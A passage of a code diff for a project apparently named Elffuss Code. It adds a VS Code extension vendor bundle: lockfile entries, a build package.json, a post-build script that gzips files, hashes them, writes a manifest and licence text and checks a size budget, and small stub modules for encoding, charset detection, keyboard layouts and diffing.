513+ "arm64"
514+ ],
515+ "dev": true,
516+ "license": "MPL-2.0",
517+ "optional": true,
518+ "os": [
519+ "android"
520+ ],
521+ "engines": {
522+ "node": ">= 12.0.0"
523+ },
524+ "funding": {
525+ "type": "opencollective",
526+ "url": "https://opencollective.com/parcel"
527+ }
528+ },
529+ "node_modules/lightningcss-darwin-arm64": {
530+ "version": "1.33.0",
531+ "resolved": "https://registry.npmjs.org/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.33.0.tgz",
532+ "integrity": "sha512-Sciaz8eenNTKn9b3t7+xr0ipTp9YxKQY4npwQ3mrRuL0BAVHBLyZxofhaKBAVtzmtRZ/zTyo0/to4B1uWG/Djg==",
533+ "cpu": [
534+ "arm64"
535+ ],
536+ "dev": true,
537+ "license": "MPL-2.0",
538+ "optional": true,
539+ "os": [
540+ "darwin"
541+ ],
542+ "engines": {
543+ "node": ">= 12.0.0"
544+ },
545+ "funding": {
546+ "type": "opencollective",
547+ "url": "https://opencollective.com/parcel"
548+ }
549+ },
550+ "node_modules/lightningcss-darwin-x64": {
551+ "version": "1.33.0",
552+ "resolved": "https://registry.npmjs.org/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.33.0.tgz",
553+ "integrity": "sha512-Z5UPAxzrjlWNNyGy6i65cJzzvgJ5D3T6wMvs+gWpY9d7qRhANrxqAp6LhxIgZhWEw18RfJTGcRxjuLIBr+m8XQ==",
554+ "cpu": [
555+ "x64"
556+ ],
557+ "dev": true,
558+ "license": "MPL-2.0",
559+ "optional": true,
560+ "os": [
561+ "darwin"
562+ ],
563+ "engines": {
564+ "node": ">= 12.0.0"
565+ },
566+ "funding": {
567+ "type": "opencollective",
568+ "url": "https://opencollective.com/parcel"
569+ }
570+ },
571+ "node_modules/lightningcss-freebsd-x64": {
572+ "version": "1.33.0",
573+ "resolved": "https://registry.npmjs.org/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.33.0.tgz",
574+ "integrity": "sha512-QQM/Ti/hQajJwCY+RiWuCZ9sdtI/XQk7nDK5vC8kkdwixezOlDgvDx7+RT+QjK6FcFT4MpsuoBnHIo/O3StRRg==",
575+ "cpu": [
576+ "x64"
577+ ],
578+ "dev": true,
579+ "license": "MPL-2.0",
580+ "optional": true,
581+ "os": [
582+ "freebsd"
583+ ],
584+ "engines": {
585+ "node": ">= 12.0.0"
586+ },
587+ "funding": {
588+ "type": "opencollective",
589+ "url": "https://opencollective.com/parcel"
590+ }
591+ },
592+ "node_modules/lightningcss-linux-arm-gnueabihf": {
593+ "version": "1.33.0",
594+ "resolved": "https://registry.npmjs.org/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.33.0.tgz",
595+ "integrity": "sha512-N7FVBe6iS24MlM6R/4RBTxGhQheZGs7tiQ9U32UtF75NzP5Q7xWPRqLBCKxlRQRk3rY1jCIPLzx7WzOhuUIRLQ==",
596+ "cpu": [
597+ "arm"
598+ ],
599+ "dev": true,
600+ "license": "MPL-2.0",
601+ "optional": true,
602+ "os": [
603+ "linux"
604+ ],
605+ "engines": {
606+ "node": ">= 12.0.0"
607+ },
608+ "funding": {
609+ "type": "opencollective",
610+ "url": "https://opencollective.com/parcel"
611+ }
612+ },
613+ "node_modules/lightningcss-linux-arm64-gnu": {
614+ "version": "1.33.0",
615+ "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.33.0.tgz",
616+ "integrity": "sha512-j2v/itmy4HlNxlc6voKXYgBqNi0Ng2LShg4z7GufpEgs05P+2suBVyi9I6YHq5uoVFx9ETin3eCEhLVyXGQnKg==",
617+ "cpu": [
618+ "arm64"
619+ ],
620+ "dev": true,
621+ "license": "MPL-2.0",
622+ "optional": true,
623+ "os": [
624+ "linux"
625+ ],
626+ "engines": {
627+ "node": ">= 12.0.0"
628+ },
629+ "funding": {
630+ "type": "opencollective",
631+ "url": "https://opencollective.com/parcel"
632+ }
633+ },
634+ "node_modules/lightningcss-linux-arm64-musl": {
635+ "version": "1.33.0",
636+ "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.33.0.tgz",
637+ "integrity": "sha512-yiO5ROMuYQgXbC60yjZU5CYSFZGKXL0HFATXt9mHJn1+zW55oCtMI9NfcVhYLMFDL7gV7oBPon/EmMMGg2OvtQ==",
638+ "cpu": [
639+ "arm64"
640+ ],
641+ "dev": true,
642+ "license": "MPL-2.0",
643+ "optional": true,
644+ "os": [
645+ "linux"
646+ ],
647+ "engines": {
648+ "node": ">= 12.0.0"
649+ },
650+ "funding": {
651+ "type": "opencollective",
652+ "url": "https://opencollective.com/parcel"
653+ }
654+ },
655+ "node_modules/lightningcss-linux-x64-gnu": {
656+ "version": "1.33.0",
657+ "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.33.0.tgz",
658+ "integrity": "sha512-ar+Ju7LmcN0Jo4FpL4hpFybwNG9/3A/Br5KW2n2jyODg3MEZXaDYADdemoNS+BDNfMgKvylJLj4S5tyRActuAg==",
659+ "cpu": [
660+ "x64"
661+ ],
662+ "dev": true,
663+ "license": "MPL-2.0",
664+ "optional": true,
665+ "os": [
666+ "linux"
667+ ],
668+ "engines": {
669+ "node": ">= 12.0.0"
670+ },
671+ "funding": {
672+ "type": "opencollective",
673+ "url": "https://opencollective.com/parcel"
674+ }
675+ },
676+ "node_modules/lightningcss-linux-x64-musl": {
677+ "version": "1.33.0",
678+ "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.33.0.tgz",
679+ "integrity": "sha512-RYiYbkokw0trfKqqzfF55lginwEPrD3OJDfTuJzFs1MK6iFnDenaz1fqLLtX4ITG3OktJQXOeTaw1awrBAlZPw==",
680+ "cpu": [
681+ "x64"
682+ ],
683+ "dev": true,
684+ "license": "MPL-2.0",
685+ "optional": true,
686+ "os": [
687+ "linux"
688+ ],
689+ "engines": {
690+ "node": ">= 12.0.0"
691+ },
692+ "funding": {
693+ "type": "opencollective",
694+ "url": "https://opencollective.com/parcel"
695+ }
696+ },
697+ "node_modules/lightningcss-win32-arm64-msvc": {
698+ "version": "1.33.0",
699+ "resolved": "https://registry.npmjs.org/lightningcss-win32-arm64-msvc/-/lightningcss-win32-arm64-msvc-1.33.0.tgz",
700+ "integrity": "sha512-1K+MPfLSFVpphzpdbfkhlWk6wBrTObBzS2T6db10PNOZgR9GoVsAWzwNyuhUYYbTp23j+4RrncfujZ4uAzXvwA==",
701+ "cpu": [
702+ "arm64"
703+ ],
704+ "dev": true,
705+ "license": "MPL-2.0",
706+ "optional": true,
707+ "os": [
708+ "win32"
709+ ],
710+ "engines": {
711+ "node": ">= 12.0.0"
712+ },
713+ "funding": {
714+ "type": "opencollective",
715+ "url": "https://opencollective.com/parcel"
716+ }
717+ },
718+ "node_modules/lightningcss-win32-x64-msvc": {
719+ "version": "1.33.0",
720+ "resolved": "https://registry.npmjs.org/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.33.0.tgz",
721+ "integrity": "sha512-OlEICDx/Xl0FqSp4bry8zFnCvGpig3Gl4gCquvYwHuqJKEC1+n9NgDniFvqHGmMv1ZkqDJrDqKKSykTDX+ehuA==",
722+ "cpu": [
723+ "x64"
724+ ],
725+ "dev": true,
726+ "license": "MPL-2.0",
727+ "optional": true,
728+ "os": [
729+ "win32"
730+ ],
731+ "engines": {
732+ "node": ">= 12.0.0"
733+ },
734+ "funding": {
735+ "type": "opencollective",
736+ "url": "https://opencollective.com/parcel"
737+ }
738+ },
739+ "node_modules/marked": {
740+ "version": "14.0.0",
741+ "resolved": "https://registry.npmjs.org/marked/-/marked-14.0.0.tgz",
742+ "integrity": "sha512-uIj4+faQ+MgHgwUW1l2PsPglZLOLOT1uErt06dAPtx2kjteLAkbsd/0FiYg/MGS+i7ZKLb7w2WClxHkzOOuryQ==",
743+ "license": "MIT",
744+ "bin": {
745+ "marked": "bin/marked.js"
746+ },
747+ "engines": {
748+ "node": ">= 18"
749+ }
750+ },
751+ "node_modules/monaco-editor": {
752+ "name": "@codingame/monaco-vscode-editor-api",
753+ "version": "37.3.11",
754+ "resolved": "https://registry.npmjs.org/@codingame/monaco-vscode-editor-api/-/monaco-vscode-editor-api-37.3.11.tgz",
755+ "integrity": "sha512-JTXYLZtDXuPOoCv0KifR5yOjjSJwZFXjvoUWw9f+ld2HLGTuyS6EZQlV7mjTeALUjSIJARzIqS8+zidjO0K6Vw==",
756+ "license": "MIT",
757+ "dependencies": {
758+ "@codingame/monaco-vscode-api": "37.3.11"
759+ }
760+ },
761+ "node_modules/nanoid": {
762+ "version": "3.3.20",
763+ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.20.tgz",
764+ "integrity": "sha512-uKdg2G3GNCKQn9byYOpxbGqrT2fGO5KRt5J/8b3pok8rT6qxGWF6hxMyJiEYtAf+FVyYuD9hRaDqX5uPFYJ4ZQ==",
765+ "dev": true,
766+ "funding": [
767+ {
768+ "type": "github",
769+ "url": "https://github.com/sponsors/ai"
770+ }
771+ ],
772+ "license": "MIT",
773+ "bin": {
774+ "nanoid": "bin/nanoid.cjs"
775+ },
776+ "engines": {
777+ "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
778+ }
779+ },
780+ "node_modules/picocolors": {
781+ "version": "1.1.1",
782+ "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
783+ "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==",
784+ "dev": true,
785+ "license": "ISC"
786+ },
787+ "node_modules/picomatch": {
788+ "version": "4.0.7",
789+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.7.tgz",
790+ "integrity": "sha512-qcJu88Q2IWqJsDD529JKMdwGm/dvInW4HvQnRwiH9JtihJvzGOscDtHE3x1pBKeUOTysQ8kVmLnJ2kJu7yhcGA==",
791+ "dev": true,
792+ "license": "MIT",
793+ "engines": {
794+ "node": ">=12"
795+ },
796+ "funding": {
797+ "url": "https://github.com/sponsors/jonschlinkert"
798+ }
799+ },
800+ "node_modules/postcss": {
801+ "version": "8.5.29",
802+ "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.29.tgz",
803+ "integrity": "sha512-49cGhUbXj8Qenv0iTMxA1cFBzxXoctpC9Ujd77t1WcbJIr6nF/eI7g/8MgxrYldFRuAXvja7xQRwavoW7kgrxQ==",
804+ "dev": true,
805+ "funding": [
806+ {
807+ "type": "opencollective",
808+ "url": "https://opencollective.com/postcss/"
809+ },
810+ {
811+ "type": "tidelift",
812+ "url": "https://tidelift.com/funding/github/npm/postcss"
813+ },
814+ {
815+ "type": "github",
816+ "url": "https://github.com/sponsors/ai"
817+ }
818+ ],
819+ "license": "MIT",
820+ "dependencies": {
821+ "nanoid": "^3.3.19",
822+ "picocolors": "^1.1.1",
823+ "source-map-js": "^1.2.2"
824+ },
825+ "engines": {
826+ "node": "^10 || ^12 || >=14"
827+ }
828+ },
829+ "node_modules/rolldown": {
830+ "version": "1.2.13",
831+ "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.2.13.tgz",
832+ "integrity": "sha512-/5apOkwWxtACcQtZ5WlrAsKS4JwXVThQPJZ3RqIruRY9UG9M8e0VlXN068xum/JRKA4aIUoJ13ghe/kGCvidiQ==",
833+ "dev": true,
834+ "license": "MIT",
835+ "dependencies": {
836+ "@oxc-project/types": "=0.153.0",
837+ "@rolldown/pluginutils": "^1.0.0"
838+ },
839+ "bin": {
840+ "rolldown": "bin/cli.mjs"
841+ },
842+ "engines": {
843+ "node": "^20.19.0 || >=22.12.0"
844+ },
845+ "optionalDependencies": {
846+ "@rolldown/binding-android-arm-eabi": "1.2.13",
847+ "@rolldown/binding-android-arm64": "1.2.13",
848+ "@rolldown/binding-darwin-arm64": "1.2.13",
849+ "@rolldown/binding-darwin-x64": "1.2.13",
850+ "@rolldown/binding-freebsd-x64": "1.2.13",
851+ "@rolldown/binding-linux-arm-gnueabihf": "1.2.13",
852+ "@rolldown/binding-linux-arm64-gnu": "1.2.13",
853+ "@rolldown/binding-linux-arm64-musl": "1.2.13",
854+ "@rolldown/binding-linux-ppc64-gnu": "1.2.13",
855+ "@rolldown/binding-linux-s390x-gnu": "1.2.13",
856+ "@rolldown/binding-linux-x64-gnu": "1.2.13",
857+ "@rolldown/binding-linux-x64-musl": "1.2.13",
858+ "@rolldown/binding-openharmony-arm64": "1.2.13",
859+ "@rolldown/binding-win32-arm64-msvc": "1.2.13",
860+ "@rolldown/binding-win32-x64-msvc": "1.2.13"
861+ }
862+ },
863+ "node_modules/source-map-js": {
864+ "version": "1.2.2",
865+ "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.2.tgz",
866+ "integrity": "sha512-KGj/8Y43x35aZVDtt+J4mK1hoLGHULMYfSkODJNQjNDC3oW1PqPoxMwo0pLUsWM/UEGzON/NxeHywEfNXNP3Vw==",
867+ "dev": true,
868+ "license": "BSD-3-Clause",
869+ "engines": {
870+ "node": ">=0.10.0"
871+ }
872+ },
873+ "node_modules/tinyglobby": {
874+ "version": "0.2.17",
875+ "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz",
876+ "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==",
877+ "dev": true,
878+ "license": "MIT",
879+ "dependencies": {
880+ "fdir": "^6.5.0",
881+ "picomatch": "^4.0.4"
882+ },
883+ "engines": {
884+ "node": ">=12.0.0"
885+ },
886+ "funding": {
887+ "url": "https://github.com/sponsors/SuperchupuDev"
888+ }
889+ },
890+ "node_modules/vite": {
891+ "version": "8.3.0",
892+ "resolved": "https://registry.npmjs.org/vite/-/vite-8.3.0.tgz",
893+ "integrity": "sha512-lhZBVvEHefgE+HQZC9O7EBJgCU/nVzFNl7vkS4RE0APtWLP02/8QVIkQtzBxPquh7lq5/78NHipTj7ODQ6XuyQ==",
894+ "dev": true,
895+ "license": "MIT",
896+ "dependencies": {
897+ "lightningcss": "^1.33.0",
898+ "picomatch": "^4.0.7",
899+ "postcss": "^8.5.28",
900+ "rolldown": "~1.2.6",
901+ "tinyglobby": "^0.2.17"
902+ },
903+ "bin": {
904+ "vite": "bin/vite.js"
905+ },
906+ "engines": {
907+ "node": "^20.19.0 || >=22.12.0"
908+ },
909+ "funding": {
910+ "url": "https://github.com/vitejs/vite?sponsor=1"
911+ },
912+ "optionalDependencies": {
913+ "fsevents": "~2.3.3"
914+ },
915+ "peerDependencies": {
916+ "@types/node": "^20.19.0 || >=22.12.0",
917+ "@vitejs/devtools": "^0.7.1",
918+ "esbuild": "^0.27.0 || ^0.28.0",
919+ "jiti": ">=1.21.0",
920+ "less": "^4.0.0",
921+ "sass": "^1.70.0",
922+ "sass-embedded": "^1.70.0",
923+ "stylus": ">=0.54.8",
924+ "sugarss": "^5.0.0",
925+ "terser": "^5.16.0",
926+ "tsx": "^4.8.1",
927+ "yaml": "^2.4.2"
928+ },
929+ "peerDependenciesMeta": {
930+ "@types/node": {
931+ "optional": true
932+ },
933+ "@vitejs/devtools": {
934+ "optional": true
935+ },
936+ "esbuild": {
937+ "optional": true
938+ },
939+ "jiti": {
940+ "optional": true
941+ },
942+ "less": {
943+ "optional": true
944+ },
945+ "sass": {
946+ "optional": true
947+ },
948+ "sass-embedded": {
949+ "optional": true
950+ },
951+ "stylus": {
952+ "optional": true
953+ },
954+ "sugarss": {
955+ "optional": true
956+ },
957+ "terser": {
958+ "optional": true
959+ },
960+ "tsx": {
961+ "optional": true
962+ },
963+ "yaml": {
964+ "optional": true
965+ }
966+ }
967+ }
968+ }
969+}
added vendor/vscode-ext2/package.json +24 −0
@@ -0,0 +1,24 @@
1+{
2+ "name": "elffuss-code-vscode-ext2-vendor",
3+ "private": true,
4+ "type": "module",
5+ "description": "Prebuilt vendor bundle for level 2 VS Code extensions in Elffuss Code. Built by build.mjs; the output is not committed.",
6+ "engines": {
7+ "node": "25.6.1"
8+ },
9+ "scripts": {
10+ "build": "node build.mjs",
11+ "verify": "node verify-repro.mjs",
12+ "sweep": "node sweep.mjs"
13+ },
14+ "dependencies": {
15+ "@codingame/monaco-vscode-api": "37.3.11",
16+ "@codingame/monaco-vscode-configuration-service-override": "37.3.11",
17+ "@codingame/monaco-vscode-extensions-service-override": "37.3.11",
18+ "@codingame/monaco-vscode-keybindings-service-override": "37.3.11",
19+ "monaco-editor": "npm:@codingame/monaco-vscode-editor-api@37.3.11"
20+ },
21+ "devDependencies": {
22+ "vite": "8.3.0"
23+ }
24+}
added vendor/vscode-ext2/postbuild.mjs +141 −0
@@ -0,0 +1,141 @@
1+// Post-build for the level 2 vendor bundle (called by build.mjs).
2+//
3+// 1. Sweep the raw files for machine paths (sweep.mjs); nothing is written if
4+// the sweep fails.
5+// 2. Gzip each file at level 9 into a gzip container written here, so the
6+// header carries no time stamp and no OS byte.
7+// 3. sha256 of every raw file, SRI (sha256-…) of every .gz.
8+// 4. buildId = first 16 hex characters of the sha256 over the sorted
9+// [name, sha256] list: the folder name changes exactly when the bytes do.
10+// 5. Write <outRoot>/vendor/x2/<buildId>/{*.js.gz, LICENSES.txt} (git-ignored)
11+// and <outRoot>/js/ext2/vendor-manifest.json (committed, a few KB).
12+// 6. Fail if the three .gz files together exceed the size budget.
13+import fs from 'node:fs';
14+import path from 'node:path';
15+import zlib from 'node:zlib';
16+import crypto from 'node:crypto';
17+import { sweepBuffers } from './sweep.mjs';
18+
19+export const BUDGET_GZ = 2_800_000; // bytes, the three .gz files together
20+export const ROLES = { 'sandbox-main': 'main', 'exthost-worker': 'extensionHostWorkerMain', 'editor-worker': 'editorWorkerService' };
21+export const PROTOCOL = 1;
22+
23+const sha256 = buf => crypto.createHash('sha256').update(buf).digest();
24+const hex = buf => sha256(buf).toString('hex');
25+
26+// RFC 1952 container around zlib's raw deflate: ID1 ID2 CM FLG, MTIME = 0,
27+// XFL = 2 (maximum compression), OS = 255 (unknown); then CRC32 and ISIZE.
28+export function gzip(raw) {
29+ const header = Buffer.from([0x1f, 0x8b, 0x08, 0x00, 0, 0, 0, 0, 0x02, 0xff]);
30+ const body = zlib.deflateRawSync(raw, { level: 9, memLevel: 9, windowBits: 15, strategy: zlib.constants.Z_DEFAULT_STRATEGY });
31+ const trailer = Buffer.alloc(8);
32+ trailer.writeUInt32LE(zlib.crc32(raw) >>> 0, 0);
33+ trailer.writeUInt32LE(raw.length % 0x100000000, 4);
34+ return Buffer.concat([header, body, trailer]);
35+}
36+
37+// Packages that publish no licence file of their own. The @codingame
38+// packages are VS Code's own code (MIT, Microsoft) repackaged by CodinGame
39+// (MIT).
40+const MIT = `Permission is hereby granted, free of charge, to any person obtaining a copy
41+of this software and associated documentation files (the "Software"), to deal
42+in the Software without restriction, including without limitation the rights
43+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
44+copies of the Software, and to permit persons to whom the Software is
45+furnished to do so, subject to the following conditions:
46+
47+The above copyright notice and this permission notice shall be included in all
48+copies or substantial portions of the Software.
49+
50+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
51+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
52+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
53+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
54+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
55+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
56+SOFTWARE.`;
57+
58+export function licensesText(entries, { vscode }) {
59+ const byKey = new Map();
60+ for (const e of entries) byKey.set(`${e.name}@${e.version}`, e);
61+ const list = [...byKey.values()].sort((a, b) => (a.name < b.name ? -1 : a.name > b.name ? 1 : a.version < b.version ? -1 : 1));
62+ const out = [
63+ 'Elffuss Code: level 2 extension runtime (vendor bundle)',
64+ '',
65+ 'These files bundle the packages listed below, unmodified apart from',
66+ 'minification. The following are NOT included: jschardet, @vscode/iconv-lite-umd,',
67+ '@vscode/diff and the keyboard layout tables of VS Code\'s keybinding service;',
68+ 'Elffuss Code replaces them with small stand-ins of its own.',
69+ '',
70+ `The @codingame/monaco-vscode-* packages contain the source code of Visual`,
71+ `Studio Code ${vscode} (Copyright (c) 2015 - present Microsoft Corporation, MIT`,
72+ 'licence), repackaged by CodinGame under the MIT licence.',
73+ ];
74+ for (const e of list) {
75+ out.push('', '='.repeat(78), `${e.name} ${e.version}${e.identifier ? ` (${e.identifier})` : ''}`, '='.repeat(78), '');
76+ if (e.text) out.push(e.text.replace(/\r\n/g, '\n').trim());
77+ else if (/^MIT$/i.test(e.identifier || '')) out.push('This package ships no licence file; its package.json declares MIT.', '', 'MIT License', '', MIT);
78+ else out.push('This package ships no licence file; see its package.json: ' + (e.identifier || 'no licence declared'));
79+ }
80+ return out.join('\n') + '\n';
81+}
82+
83+function vscodeVersion(buildRoot) {
84+ const src = fs.readFileSync(path.join(buildRoot, 'node_modules/@codingame/monaco-vscode-api/vscode/src/vs/platform/product/common/product.js'), 'utf8');
85+ const m = /version:\s*'(\d+\.\d+\.\d+)'/.exec(src);
86+ if (!m) throw new Error('cannot read the VS Code version of the library');
87+ return m[1];
88+}
89+
90+// Builds every output in memory; writes nothing until all checks passed.
91+export async function postbuild(raw, { outRoot, buildRoot, write = true }) {
92+ const pkg = JSON.parse(fs.readFileSync(path.join(buildRoot, 'package.json'), 'utf8'));
93+ const vscode = vscodeVersion(buildRoot);
94+ const library = '@codingame/monaco-vscode-api@' + pkg.dependencies['@codingame/monaco-vscode-api'];
95+ const node = fs.readFileSync(path.join(buildRoot, '.node-version'), 'utf8').trim();
96+ const lockfileSha256 = hex(fs.readFileSync(path.join(buildRoot, 'package-lock.json')));
97+
98+ const outputs = []; // { name, role?, raw: Buffer }
99+ const licenseEntries = [];
100+ for (const [entry, { file, licenses }] of Object.entries(raw)) {
101+ outputs.push({ name: entry + '.js', role: ROLES[entry], raw: fs.readFileSync(file) });
102+ licenseEntries.push(...licenses);
103+ }
104+ const licenses = Buffer.from(licensesText(licenseEntries, { vscode }), 'utf8');
105+
106+ // 1. sweep before anything is written
107+ const allow = JSON.parse(fs.readFileSync(path.join(buildRoot, 'sweep-allowlist.json'), 'utf8'));
108+ const report = sweepBuffers([...outputs.map(o => ({ name: o.name, bytes: o.raw })), { name: 'LICENSES.txt', bytes: licenses }], allow, { buildRoot });
109+ if (!report.ok) throw new Error('path sweep failed:\n ' + report.problems.join('\n '));
110+
111+ // 2–4.
112+ const files = outputs.map(o => {
113+ const gz = gzip(o.raw);
114+ return { name: o.name, role: o.role, raw: o.raw.length, gz: gz.length, sha256Raw: hex(o.raw), sriGz: 'sha256-' + sha256(gz).toString('base64'), _gz: gz };
115+ });
116+ const licensesSha256 = hex(licenses);
117+ const idList = [...files.map(f => [f.name, f.sha256Raw]), ['LICENSES.txt', licensesSha256]].sort((a, b) => (a[0] < b[0] ? -1 : 1));
118+ const buildId = hex(Buffer.from(JSON.stringify(idList))).slice(0, 16);
119+ const totalGz = files.reduce((n, f) => n + f.gz, 0);
120+ if (totalGz > BUDGET_GZ) throw new Error(`size budget exceeded: ${totalGz} bytes gzip > ${BUDGET_GZ}`);
121+
122+ const manifest = {
123+ schema: 1, enabled: true, buildId, protocol: PROTOCOL,
124+ library, vscode, node, lockfileSha256,
125+ budgetGz: BUDGET_GZ, totalGz,
126+ files: files.map(({ _gz, ...f }) => f),
127+ licenses: { name: 'LICENSES.txt', bytes: licenses.length, sha256: licensesSha256 },
128+ };
129+ const manifestText = JSON.stringify(manifest, null, 2) + '\n';
130+
131+ const dir = path.join(outRoot, 'vendor', 'x2', buildId);
132+ const manifestPath = path.join(outRoot, 'js', 'ext2', 'vendor-manifest.json');
133+ if (write) {
134+ fs.mkdirSync(dir, { recursive: true });
135+ for (const f of files) fs.writeFileSync(path.join(dir, f.name + '.gz'), f._gz);
136+ fs.writeFileSync(path.join(dir, 'LICENSES.txt'), licenses);
137+ fs.mkdirSync(path.dirname(manifestPath), { recursive: true });
138+ fs.writeFileSync(manifestPath, manifestText);
139+ }
140+ return { manifest, manifestText, manifestPath, dir, totalGz, sweep: report };
141+}
added vendor/vscode-ext2/src/editor-worker.js +4 −0
@@ -0,0 +1,4 @@
1+// Entry of the editor worker bundle (diff computation, word ranges and the like
2+// for the hidden mirror editor in the sandbox). Code's own page keeps Monaco
3+// 0.52's workers.
4+import '@codingame/monaco-vscode-api/workers/editor.worker';
added vendor/vscode-ext2/src/exthost-worker.js +3 −0
@@ -0,0 +1,3 @@
1+// Entry of the extension-host worker bundle: the library's web-worker extension
2+// host, unchanged. It runs inside a blob: worker on the sandbox site.
3+import '@codingame/monaco-vscode-api/workers/extensionHost.worker';
added vendor/vscode-ext2/src/sandbox-main.js +22 −0
@@ -0,0 +1,22 @@
1+// Entry of the sandbox's main bundle. Re-exports only, no logic: everything
2+// that decides what extensions may do lives in Code's own buildless
3+// web/js/ext2/sandbox-relay.js, which receives this module namespace.
4+export {
5+ initialize, getService, StandaloneServices, SyncDescriptor,
6+ ICommandService, ICodeEditorService, ILanguageFeaturesService, ILanguageService, IModelService,
7+ IMarkerService, IOpenerService, IClipboardService, IDialogService, IFileDialogService,
8+ IQuickInputService, INotificationService, IEditorService, IBulkEditService, IInstantiationService,
9+} from '@codingame/monaco-vscode-api';
10+export { registerExtension, ExtensionHostKind } from '@codingame/monaco-vscode-api/extensions';
11+export { registerAssets } from '@codingame/monaco-vscode-api/assets';
12+export { default as getExtensionServiceOverride } from '@codingame/monaco-vscode-extensions-service-override';
13+export { default as getKeybindingsServiceOverride } from '@codingame/monaco-vscode-keybindings-service-override';
14+export { default as getConfigurationServiceOverride, updateUserConfiguration } from '@codingame/monaco-vscode-configuration-service-override';
15+export { IExtensionService } from '@codingame/monaco-vscode-api/vscode/vs/workbench/services/extensions/common/extensions.service';
16+export { RPCProtocol } from '@codingame/monaco-vscode-api/vscode/vs/workbench/services/extensions/common/rpcProtocol';
17+export { getStringIdentifierForProxy } from '@codingame/monaco-vscode-api/vscode/vs/workbench/services/extensions/common/proxyIdentifier';
18+export { CommandsRegistry } from '@codingame/monaco-vscode-api/vscode/vs/platform/commands/common/commands';
19+export { IContextKeyService } from '@codingame/monaco-vscode-api/vscode/vs/platform/contextkey/common/contextkey.service';
20+export { ILanguageStatusService } from '@codingame/monaco-vscode-api/vscode/vs/workbench/services/languageStatus/common/languageStatusService.service';
21+export { URI } from '@codingame/monaco-vscode-api/vscode/vs/base/common/uri';
22+export * as monaco from 'monaco-editor';
added vendor/vscode-ext2/src/stubs/iconv-lite-umd.js +39 −0
@@ -0,0 +1,39 @@
1+// Stand-in for @vscode/iconv-lite-umd: UTF-8 only, on TextEncoder and
2+// TextDecoder. The sandbox only ever sees text that Code's page sent it, and
3+// that text is UTF-8; any other encoding is refused instead of shipping the
4+// full code-page tables.
5+const isUtf8 = enc => String(enc || '').toLowerCase().replace(/[^a-z0-9]/g, '') === 'utf8';
6+const unsupported = enc => Object.assign(new Error('Encoding not available in Elffuss Code: ' + String(enc)), { code: 'ENOTSUP' });
7+
8+export function encodingExists(enc) { return isUtf8(enc); }
9+
10+export function getDecoder(enc, options = {}) {
11+ if (!isUtf8(enc)) throw unsupported(enc);
12+ const decoder = new TextDecoder('utf-8', { ignoreBOM: options.stripBOM === false });
13+ return {
14+ write: buf => decoder.decode(buf, { stream: true }),
15+ end: () => decoder.decode() || undefined,
16+ };
17+}
18+
19+export function getEncoder(enc, options = {}) {
20+ if (!isUtf8(enc)) throw unsupported(enc);
21+ const encoder = new TextEncoder();
22+ let first = !!options.addBOM;
23+ return {
24+ write(text) {
25+ const bytes = encoder.encode(String(text));
26+ if (!first) return bytes;
27+ first = false;
28+ const out = new Uint8Array(bytes.length + 3);
29+ out.set([0xef, 0xbb, 0xbf]);
30+ out.set(bytes, 3);
31+ return out;
32+ },
33+ end: () => undefined,
34+ };
35+}
36+
37+export function decode(buf, enc) { return getDecoder(enc).write(buf); }
38+export function encode(text, enc) { return getEncoder(enc).write(text); }
39+export default { encodingExists, getDecoder, getEncoder, decode, encode };
added vendor/vscode-ext2/src/stubs/jschardet.js +7 −0
@@ -0,0 +1,7 @@
1+// Stand-in for jschardet (LGPL-2.1), which is not shipped. VS Code only uses it
2+// to guess the encoding of bytes read from disk. The sandbox never reads files:
3+// Code's page hands it text, so there is never anything to guess.
4+export function detect() { return null; }
5+export function detectAll() { return []; }
6+export function enableDebug() {}
7+export default { detect, detectAll, enableDebug };
added vendor/vscode-ext2/src/stubs/keyboard-layouts.js +9 −0
@@ -0,0 +1,9 @@
1+// Stand-in for the keyboard layout tables of VS Code's keybinding service. The
2+// sandbox never receives key events (Code's page binds the keys and runs the
3+// commands), so it needs no layout tables: the service falls back to the
4+// browser's own layout information.
5+export class KeyboardLayoutContribution {
6+ static INSTANCE = new KeyboardLayoutContribution();
7+ get layoutInfos() { return []; }
8+ registerKeyboardLayout() {}
9+}
added vendor/vscode-ext2/src/stubs/vscode-diff.js +8 −0
@@ -0,0 +1,8 @@
1+// Stand-in for @vscode/diff, the optional external diff algorithm (it ships a
2+// wasm binary and spawns its own worker from a URL). VS Code only loads it when
